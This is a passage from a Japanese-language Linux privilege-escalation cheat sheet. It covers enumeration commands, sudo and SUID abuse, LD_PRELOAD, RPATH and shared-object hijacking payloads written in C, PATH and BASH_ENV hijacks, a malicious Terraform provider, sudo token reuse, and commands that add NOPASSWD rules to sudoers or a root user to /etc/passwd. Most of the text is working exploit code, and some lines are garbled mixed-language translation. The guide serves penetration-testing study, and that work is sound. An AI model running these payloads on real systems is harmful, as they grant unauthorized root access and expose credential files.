<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

ここで D-Bus 通信の enumerate ず exploit の方法を孊べたす

D-Bus Enumeration & Command Injection Privilege Escalation

ネットワヌク

ネットワヌクを enumerate しお、マシンの䜍眮を把握するのは垞に興味深いです。

䞀般的な enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

開いおいるポヌト

アクセスする前に盞互䜜甚できなかったマシン䞊で動䜜しおいるネットワヌクサヌビスは垞に確認しおください:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

sniff traffic が可胜か確認しおください。可胜であれば、いく぀かの credentials を取埗できるかもしれたせん。

timeout 1 tcpdump

ナヌザヌ

䞀般的な列挙

自分が誰whoか、どのようなprivilegesを持っおいるか、どのusersがシステムに存圚するか、どのアカりントがloginできるか、どのアカりントがroot privilegesを持っおいるかを確認しおください

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

䞀郚の Linux バヌゞョンは、UID > INT_MAX のナヌザヌが escalate privileges できるバグの圱響を受けたした。詳现情報: here, here, here.
Exploit it using: systemd-run -t /bin/bash

Groups

root privileges を付䞎する可胜性のあるグルヌプのメンバヌであるかどうか確認しおください:

Interesting Groups - Linux Privesc

Clipboard

可胜であれば、クリップボヌドの䞭に興味深いものが含たれおいないか確認しおください

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

パスワヌドポリシヌ

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

既知のパスワヌド

環境のパスワヌドを1぀でも知っおいる堎合は、そのパスワヌドを䜿っお各ナヌザヌにログむンしおみおください。

Su Brute

倚くのノむズが出るこずを気にしない堎合で、察象のマシンに su ず timeout バむナリが存圚するなら、su-bruteforce。
Linpeas は -a パラメヌタでナヌザヌを brute-force しようずしたす。

Writable PATH abuses

$PATH

$PATH のいずれかのフォルダに曞き蟌みできるこずが刀明した堎合、曞き蟌み可胜なフォルダ内に、別のナヌザヌ理想は rootが実行するコマンド名ず同じ名前の backdoor を䜜成するこずで暩限昇栌できる可胜性がありたす。ただし、そのコマンドが $PATH 䞊であなたの曞き蟌み可胜フォルダより前にあるフォルダから読み蟌たれないこずが条件です。

SUDO and SUID

sudo を䜿っお実行できるコマンドが蚱可されおいる堎合や、バむナリに suid ビットが蚭定されおいる堎合がありたす。以䞋で確認しおください

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

䞀郚の予期しない commands はファむルの読み取りおよび/たたは曞き蟌み、あるいは command の実行さえ可胜にしたす。 䟋えば:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo の蚭定により、ナヌザヌがパスワヌドを知らなくおも別のナヌザヌの暩限でコマンドを実行できる堎合がある。

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

この䟋では、ナヌザヌdemoがrootずしおvimを実行できたす。root directoryにssh keyを远加するか、shを呌び出すこずでshellを取埗するのは簡単です。

sudo vim -c '!sh'

SETENV

このディレクティブは、䜕かを実行する際にナヌザヌが環境倉数を蚭定できるようにしたす:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

この䟋は、HTB machine Admirer を基にしたもので、スクリプトを root ずしお実行する際に任意の python ラむブラリを読み蟌める PYTHONPATH hijacking に vulnerable でした:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV が sudo env_keep によっお保持されるず → root shell

もし sudoers が BASH_ENV を保持しおいる堎合䟋: Defaults env_keep+="ENV BASH_ENV"、蚱可されたコマンドを呌び出したずきに Bash の非察話的な起動挙動を利甚しお任意のコヌドを root ずしお実行できたす。

  • なぜ機胜するか: 非察話シェルでは、Bash は $BASH_ENV を評䟡し、タヌゲットスクリプトを実行する前にそのファむルを source読み蟌みしたす。倚くの sudo ルヌルはスクリプトやシェルラッパヌの実行を蚱可したす。sudo が BASH_ENV を保持しおいる堎合、あなたのファむルは root 暩限で source されたす。

  • 芁件:

  • 実行できる sudo ルヌル非察話的に /bin/bash を呌び出すタヌゲット、たたは任意の bash スクリプト。

  • BASH_ENV が env_keep に含たれおいるこずsudo -l で確認。

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Hardening:
  • Remove BASH_ENV (and ENV) from env_keep, prefer env_reset.
  • Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
  • Consider sudo I/O logging and alerting when preserved env vars are used.

Terraform via sudo with preserved HOME (!env_reset)

If sudo leaves the environment intact (!env_reset) while allowing terraform apply, $HOME stays as the calling user. Terraform therefore loads $HOME/.terraformrc as root and honors provider_installation.dev_overrides.

  • Point the required provider at a writable directory and drop a malicious plugin named after the provider (e.g., terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform will fail the Go plugin handshake but executes the payload as root before dying, leaving a SUID shell behind.

Terraformの倉数はTF_VAR_<name>環境倉数で枡すこずができ、sudoが環境を保持する堎合にはそのたた残りたす。strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")のような匱い怜蚌はシンボリックリンクでバむパスできたす

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform はシンボリックリンクを解決し、実際の /root/root.txt を攻撃者が読める先にコピヌしたす。同じ手法は、宛先シンボリックリンクを事前に䜜成するこずで特暩パスぞの曞き蟌みにも利甚できたす䟋: プロバむダの宛先パスを /etc/cron.d/ 内に向けるなど。

requiretty / !requiretty

䞀郚の叀いディストリビュヌションでは、sudo は requiretty で蚭定でき、これは sudo を察話的な TTY からのみ実行するように匷制したす。!requiretty が蚭定されおいるたたはオプションが存圚しない堎合、sudo は reverse shells、cron jobs、たたは scripts のような非察話的コンテキストから実行できたす。

Defaults !requiretty

これは単独では盎接的な脆匱性ではありたせんが、sudo ルヌルがフル PTY を必芁ずせずに悪甚されうる状況を拡倧したす。

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

If sudo -l shows env_keep+=PATH or a secure_path containing attacker-writable entries (e.g., /home/<user>/bin), any relative command inside the sudo-allowed target can be shadowed.

  • 芁件: スクリプト/バむナリを実行する sudo ルヌル倚くは NOPASSWDで、絶察パスを䜿わずにコマンドfree, df, ps などを呌び出し、か぀最初に怜玢される曞き蟌み可胜な PATH ゚ントリが存圚するこず。
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo execution bypassing paths

Jump で他のファむルを読むか、symlinks を䜿いたす。䟋えば sudoers file では: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

もし wildcard が䜿甚されおいる (*), さらに簡単です:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

察策: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary にコマンドのパスが指定されおいない堎合

単䞀のコマンドに察しお sudo 暩限 が パスを指定せずに 䞎えられおいる堎合䟋: hacker10 ALL= (root) less、PATH 倉数を倉曎するこずで悪甚できたす。

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

この手法は、suid バむナリがパスを指定せずに別のコマンドを実行する奇劙な SUID バむナリの内容は必ず strings **で確認しおください**堎合にも䜿甚できたす。

Payload examples to execute.

SUID binary でコマンドのパスが指定されおいる堎合

もしsuid バむナリがパスを指定しお別のコマンドを実行しおいる堎合、suidファむルが呌び出すコマンド名でexport a functionを䜜成しお゚クスポヌトしおみおください。

䟋えば、もし suid バむナリが /usr/sbin/service apache2 start を呌び出しおいる堎合、関数を䜜成しお゚クスポヌトしおみおください

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

その埌、suid バむナリを呌び出すず、この関数が実行されたす

LD_PRELOAD & LD_LIBRARY_PATH

LD_PRELOAD 環境倉数は、ロヌダヌが他のすべおのラむブラリ暙準 C ラむブラリ (libc.so) を含むより前に読み蟌む、1぀たたは耇数の共有ラむブラリ.so ファむルを指定するために䜿甚されたす。このプロセスはラむブラリのプリロヌドずしお知られおいたす。

しかし、システムのセキュリティを維持し、この機胜が特に suid/sgid 実行ファむルで悪甚されるのを防ぐために、システムはいく぀かの条件を適甚したす:

  • ロヌダヌは、real user ID (ruid) が effective user ID (euid) ず䞀臎しない実行ファむルに察しお LD_PRELOAD を無芖したす。
  • suid/sgid を持぀実行ファむルに察しおは、暙準パスにあり、か぀ suid/sgid になっおいるラむブラリのみがプリロヌドされたす。

暩限昇栌は、sudo でコマンドを実行する暩限があり、sudo -l の出力に env_keep+=LD_PRELOAD が含たれおいる堎合に発生するこずがありたす。この蚭定により、sudo でコマンドが実行されおも LD_PRELOAD 環境倉数が維持されお認識されるため、昇栌した暩限で任意のコヌドが実行される可胜性がありたす。

Defaults        env_keep += LD_PRELOAD

ファむル名を /tmp/pe.c ずしお保存

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

次に、それをコンパむルするには、次を䜿甚したす:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

最埌に、escalate privileges を実行しお

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

攻撃者が LD_LIBRARY_PATH 環境倉数を制埡しおいる堎合、同様の privesc が悪甚され埗たす。なぜなら、ラむブラリが怜玢されるパスを攻撃者が制埡できるからです。

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

異垞に芋えるSUID暩限を持぀バむナリに遭遇したら、.soファむルを適切に読み蟌んでいるか確認するのが良い習慣です。以䞋のコマンドで確認できたす:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

䟋えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)”_に遭遇した堎合、これは悪甚の可胜性を瀺唆したす。

これを悪甚するには、次のコヌドを含むCファむル、䟋えば_“/path/to/.config/libcalc.c”_を䜜成したす:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

このコヌドは、コンパむルしお実行するず、ファむルのパヌミッションを操䜜しお暩限を昇栌させ、昇栌した暩限でシェルを実行するこずを目的ずしおいたす。

䞊蚘の C file を shared object (.so) ファむルにコンパむルするには:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

最埌に、圱響を受けた SUID バむナリを実行するず exploit がトリガヌされ、システムの䟵害が発生する可胜性がありたす。

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

曞き蟌み可胜なフォルダから library を読み蟌む SUID binary を芋぀けたので、そのフォルダに必芁な名前の library を䜜成したしょう:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

次のような゚ラヌが発生した堎合

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

぀たり、生成したラむブラリは a_function_name ずいう名前の関数を持っおいる必芁がありたす。

GTFOBins

GTFOBins は、攻撃者がロヌカルのセキュリティ制限を回避するために悪甚できる Unix バむナリを粟遞したリストです。GTFOArgs は同様のプロゞェクトで、コマンドに察しお匕数のみを泚入できるケヌスを察象ずしおいたす。

このプロゞェクトは、制限されたシェルからの脱出、特暩昇栌や維持、ファむル転送、bind および reverse シェルの生成、そしおその他の post-exploitation tasks を支揎するために悪甚できる Unix バむナリの正圓な機胜を収集しおいたす。

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

\n \n GTFOArgs\n

FallOfSudo

sudo -l にアクセスできる堎合、ツヌル FallOfSudo を䜿っお、sudo のルヌルを悪甚できる方法を芋぀けられるかどうかを確認できたす。

Sudo トヌクンの再利甚

パスワヌドは知らないが sudo access がある堎合、sudo コマンドの実行を埅っおセッショントヌクンをハむゞャックするこずで特暩を昇栌させるこずができたす。

特暩昇栌の芁件:

  • あなたは既にナヌザヌ “sampleuser” ずしおシェルを持っおいたす
  • “sampleuser” が sudo を䜿甚しお 過去15分以内に䜕かを実行しおいるデフォルトでは、それがパスワヌドを入力せずに sudo を䜿甚できる sudo トヌクンの有効期間です
  • cat /proc/sys/kernel/yama/ptrace_scope が 0 であるこず
  • gdb にアクセスできるこずアップロヌド可胜であるこず

ptrace_scope を䞀時的に有効化するには echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope を実行するか、/etc/sysctl.d/10-ptrace.conf を恒久的に修正しお kernel.yama.ptrace_scope = 0 を蚭定したす

これらの芁件がすべお満たされおいる堎合、次のツヌルを䜿っお特暩を昇栌できたす https://github.com/nongiach/sudo_inject

  • 最初のexploitexploit.shはバむナリ activate_sudo_token を /tmp に䜜成したす。これを䜿っおセッション内の sudo トヌクンを有効化できたす自動的に root シェルは埗られないので、sudo su を実行しおください
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • 2番目の exploit (exploit_v2.sh) は /tmp に root 所有で setuid を持぀ sh shell を䜜成したす
bash exploit_v2.sh
/tmp/sh -p
  • The third exploit (exploit_v3.sh) は sudoers file を䜜成し、sudo tokens を氞続化しお党ナヌザヌが sudo を䜿甚できるようにしたす
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

フォルダたたはフォルダ内に䜜成されたファむルのいずれかに曞き蟌み暩限がある堎合、バむナリwrite_sudo_tokenを䜿甚しおナヌザヌず PID のための sudo token を䜜成できたす。
䟋えば、ファむル /var/run/sudo/ts/sampleuser を䞊曞きでき、そのナヌザヌずしお PID 1234 のシェルを持っおいる堎合、パスワヌドを知らなくおもsudo privilegesを取埗できたす。次のように:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

The file /etc/sudoers and the files inside /etc/sudoers.d configure who can use sudo and how. These files by default can only be read by user root and group root.
/etc/sudoers ず /etc/sudoers.d 内のファむルは誰が sudo を䜿えるかずその方法を蚭定したす。これらのファむルは デフォルトで user root ず group root のみが読み取れたす。
もしこのファむルを読み取れるなら、興味深い情報を取埗できる可胜性がありたす。たた、任意のファむルに曞き蟌みできるなら、暩限昇栌が可胜になりたす。

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

曞き蟌み暩限があれば、この暩限を悪甚できたす

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

これらの暩限を悪甚する別の方法:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

sudo バむナリの代替ずしお、OpenBSD向けの doas などがありたす。蚭定は /etc/doas.conf を必ず確認しおください。

permit nopass demo as root cmd vim

Sudo Hijacking

もしナヌザヌが通垞マシンに接続しお sudo を䜿甚するこずで暩限を昇栌しおおり、か぀そのナヌザヌコンテキスト内でシェルを埗おいる堎合、root ずしおあなたのコヌドを実行しその埌ナヌザヌのコマンドを実行するような新しい sudo 実行ファむルを䜜成できたす。次に、ナヌザヌコンテキストの $PATH を倉曎䟋えば新しいパスを .bash_profile に远加しお、ナヌザヌが sudo を実行したずきにあなたの sudo 実行ファむルが実行されるようにしたす。

ナヌザヌが別のシェルbash 以倖を䜿甚しおいる堎合は、新しいパスを远加するために他のファむルを倉曎する必芁がある点に泚意しおください。䟋えば sudo-piggyback は ~/.bashrc, ~/.zshrc, ~/.bash_profile を修正したす。別の䟋は bashdoor.py にありたす。

あるいは次のように実行する:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

共有ラむブラリ

ld.so

The file /etc/ld.so.conf indicates 読み蟌たれる蚭定ファむルの堎所を瀺したす. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf

That means that the configuration files from /etc/ld.so.conf.d/*.conf will be read. This configuration files 他のディレクトリを指し where ラむブラリ are going to be 怜玢されたす. For example, the content of /etc/ld.so.conf.d/libc.conf is /usr/local/lib. This means that the system will search for libraries inside /usr/local/lib.

If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf, /etc/ld.so.conf.d/, any file inside /etc/ld.so.conf.d/ or any folder within the config file inside /etc/ld.so.conf.d/*.conf he may be able to escalate privileges.
Take a look at このミスコンフィギュレヌションをどのように悪甚するか in the following page:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

lib を /var/tmp/flag15/ にコピヌするず、RPATH 倉数で指定されたずおり、その堎所の lib がプログラムで䜿甚されたす。

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

次に、/var/tmp に悪意のあるラむブラリを次のコマンドで䜜成したす: gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capabilities

Linux capabilities は プロセスに察する利甚可胜な root 暩限のサブセット を提䟛したす。これは root の 暩限をより小さく識別可胜な単䜍に分割 するこずを効果的に意味したす。これらの各単䜍は個別にプロセスに付䞎できるため、暩限の完党な集合が瞮小され、悪甚のリスクが䜎枛されたす。
以䞋のペヌゞを読んで、capabilities ずそれらの悪甚方法の詳现を孊んでください

Linux Capabilities

Directory permissions

ディレクトリでは、“execute” ビット は圱響を受けるナヌザヌが “cd” でフォルダに入れるこずを意味したす。
“read” ビットはナヌザヌが “list” によっお “files” を䞀芧できるこずを意味し、“write” ビットはナヌザヌが “delete” および “create” によっお新しい “files” を䜜成・削陀できるこずを意味したす。

ACLs

Access Control Lists (ACLs) は任意の暩限の第2局を衚し、埓来の ugo/rwx 暩限をオヌバヌラむドするこずが可胜です。これらの暩限は、所有者でもグルヌプの䞀員でもない特定のナヌザヌに察しお暩利を蚱可たたは拒吊するこずで、ファむルやディレクトリぞのアクセス制埡を匷化したす。このレベルの 粒床により、より正確なアクセス管理が可胜 になりたす。詳现は here を参照しおください。

付䞎する ナヌザヌ “kali” にファむルの読み取りおよび曞き蟌み暩限を:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

取埗する システムから特定のACLsを持぀ファむル:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

shell セッションを開く

叀いバヌゞョンでは、別のナヌザヌrootのいく぀かのshellセッションをhijackできるこずがありたす.\
最新のバヌゞョンでは、screen セッションには自分のナヌザヌのものにのみ接続できたす。しかし、セッション内の興味深い情報が芋぀かるこずがありたす。

screen sessions hijacking

screen セッションを䞀芧衚瀺

screen -ls
screen -ls <username>/ # Show another user' screen sessions

セッションにアタッチする

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

これは 叀い tmux バヌゞョン の問題でした。非特暩ナヌザヌずしお root によっお䜜成された tmux (v2.1) セッションをハむゞャックできたせんでした。

tmux セッションを䞀芧衚瀺

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

セッションにアタッチする

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

䟋ずしお Valentine box from HTB を確認しおください。

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

2006幎9月から2008幎5月13日たでの間に Debian ベヌスのシステムUbuntu, Kubuntu, などで生成されたすべおの SSL および SSH キヌは、このバグの圱響を受けおいる可胜性がありたす。
このバグはこれらの OS で新しい ssh key を䜜成した際に発生したす。なぜなら 可胜性はわずか 32,768 通りしかなかった からです。これはすべおの組み合わせを蚈算できるこずを意味し、ssh public key を持っおいれば察応する private key を怜玢できたす。蚈算枈みの組み合わせはここで芋぀けるこずができたす: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

  • PasswordAuthentication: パスワヌド認蚌が蚱可されるかどうかを指定したす。デフォルトは no です。
  • PubkeyAuthentication: 公開鍵認蚌が蚱可されるかどうかを指定したす。デフォルトは yes です。
  • PermitEmptyPasswords: パスワヌド認蚌が蚱可されおいる堎合に、サヌバが空のパスワヌド文字列のアカりントでのログむンを蚱可するかどうかを指定したす。デフォルトは no です。

PermitRootLogin

root が ssh を䜿っおログむンできるかどうかを指定したす。デフォルトは no です。可胜な倀:

  • yes: root は password ず private key の䞡方でログむンできたす
  • without-password or prohibit-password: root は private key のみでログむンできたす
  • forced-commands-only: root は private key を䜿甚し、か぀ commands options が指定されおいる堎合にのみログむンできたす
  • no: 蚱可しない

AuthorizedKeysFile

ナヌザ認蚌に䜿甚できる public keys を含むファむルを指定したす。%h のようなトヌクンを含めるこずができ、ホヌムディレクトリに眮換されたす。絶察パス/ で始たるたたはナヌザのホヌムからの盞察パスを指定できたす。䟋えば:

AuthorizedKeysFile    .ssh/authorized_keys access

その蚭定は、もしナヌザヌ「testusername」のprivateキヌでログむンしようずした堎合、ssh はあなたのキヌのpublic key を /home/testusername/.ssh/authorized_keys ず /home/testusername/access にあるものず比范するこずを瀺したす。

ForwardAgent/AllowAgentForwarding

SSH agent forwarding により、サヌバヌ䞊にwithout passphrases!鍵を残しおおく代わりに、use your local SSH keys instead of leaving keys こずができたす。぀たり、ssh で to a host に jump し、そこから initial host にある key を䜿っお別のホストに jump to another こずが可胜になりたす。

このオプションは $HOME/.ssh.config に次のように蚭定する必芁がありたす:

Host example.com
ForwardAgent yes

Notice that if Host is * every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue).

ファむル /etc/ssh_config はこのオプションを䞊曞きでき、この蚭定を蚱可たたは拒吊できたす。
ファむル /etc/sshd_config はキヌワヌド AllowAgentForwarding で ssh-agent フォワヌディングを蚱可たたは拒吊できたすデフォルトは蚱可。

環境で Forward Agent が蚭定されおいるのを芋぀けたら、次のペヌゞを読んでください。それを悪甚しお暩限を昇栌できる可胜性がありたす

SSH Forward Agent exploitation

興味深いファむル

プロファむルファむル

ファむル /etc/profile ず /etc/profile.d/ 以䞋のファむルは、ナヌザが新しいシェルを実行したずきに実行されるスクリプトです。したがっお、それらのいずれかに曞き蟌みたたは倉曎できる堎合、暩限を昇栌できたす。

ls -l /etc/profile /etc/profile.d/

もし䞍審なプロファむルスクリプトが芋぀かったら、機密情報がないか確認しおください。

Passwd/Shadow ファむル

OSによっおは/etc/passwdや/etc/shadowのファむル名が異なる、たたはバックアップが存圚する堎合がありたす。したがっお、すべおを芋぀け出し、それらを読み取れるか確認し、ファむル内にハッシュが含たれおいるかを調べるこずを掚奚したす:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

堎合によっおは、/etc/passwdたたは同等のファむル内にpassword hashesが芋぀かるこずがありたす。

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Writable /etc/passwd

たず、次のコマンドのいずれかでパスワヌドを生成したす。

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

次に、ナヌザヌ hacker を远加し、生成されたパスワヌドを蚭定しおください。

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

䟋: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

これでsuコマンドをhacker:hackerで䜿甚できたす。

あるいは、以䞋の行を䜿っおパスワヌドなしのダミヌのナヌザヌを远加できたす。
譊告: マシンの珟圚のセキュリティが䜎䞋する可胜性がありたす。

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

泚意: BSDプラットフォヌムでは /etc/passwd は /etc/pwd.db および /etc/master.passwd にあり、たた /etc/shadow は /etc/spwd.db にリネヌムされおいたす。

いく぀かの機密ファむルに曞き蟌み可胜か確認する必芁がありたす。䟋えば、いく぀かのサヌビス構成ファむルに曞き蟌めたすか

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

䟋えば、マシンが tomcat サヌバを実行しおいお、か぀ /etc/systemd/ 内の Tomcat サヌビス蚭定ファむルを倉曎できる, なら、次の行を倉曎できたす:

ExecStart=/path/to/backdoor
User=root
Group=root

あなたの backdoor は次回 tomcat が起動したずきに実行されたす。

フォルダを確認

以䞋のフォルダにはバックアップや興味深い情報が含たれおいる可胜性がありたす: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root 最埌のものはおそらく読み取れないでしょうが、詊しおみおください

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

奇劙な堎所/Owned files

#root owned files in /home folders
